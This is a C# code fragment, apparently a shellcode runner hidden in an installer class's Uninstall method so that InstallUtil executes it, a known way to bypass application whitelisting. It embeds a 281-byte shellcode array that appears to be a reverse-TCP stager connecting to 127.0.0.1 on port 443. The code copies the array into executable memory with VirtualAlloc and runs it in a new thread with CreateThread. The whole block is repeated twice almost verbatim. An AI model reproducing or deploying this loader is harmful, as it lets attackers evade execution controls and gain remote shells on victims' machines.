//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Console.WriteLine("Hello From Uninstall...I carry out the real work..."); //debug
//ShellCode.DoEvil();
byte[] buf = new byte[281] {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,
0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,
0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,
0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,
0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,
0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c,
0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68,
0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68,
0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68,
0x02, 0x00, 0x01, 0xbb, 0x89, 0xe6, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61,
0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c, 0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff,
0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58,
0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9,
0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xee, 0xc3
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
PROCESSOR_INFO info = new PROCESSOR_INFO();
IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
Marshal.StructureToPtr(info, pinfo, false);
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
// retrive data
info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
Marshal.FreeHGlobal(pinfo);
CloseHandle(hThread);
VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
}
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Console.WriteLine("Hello From Uninstall...I carry out the real work..."); //debug
//ShellCode.DoEvil();
byte[] buf = new byte[281] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,
0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x7f,0x00,0x00,0x01,0x68,
0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,
0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,
0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,
0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
PROCESSOR_INFO info = new PROCESSOR_INFO();
IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
Marshal.StructureToPtr(info, pinfo, false);
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
// retrive data
info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
Marshal.FreeHGlobal(pinfo);
CloseHandle(hThread);
VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
}
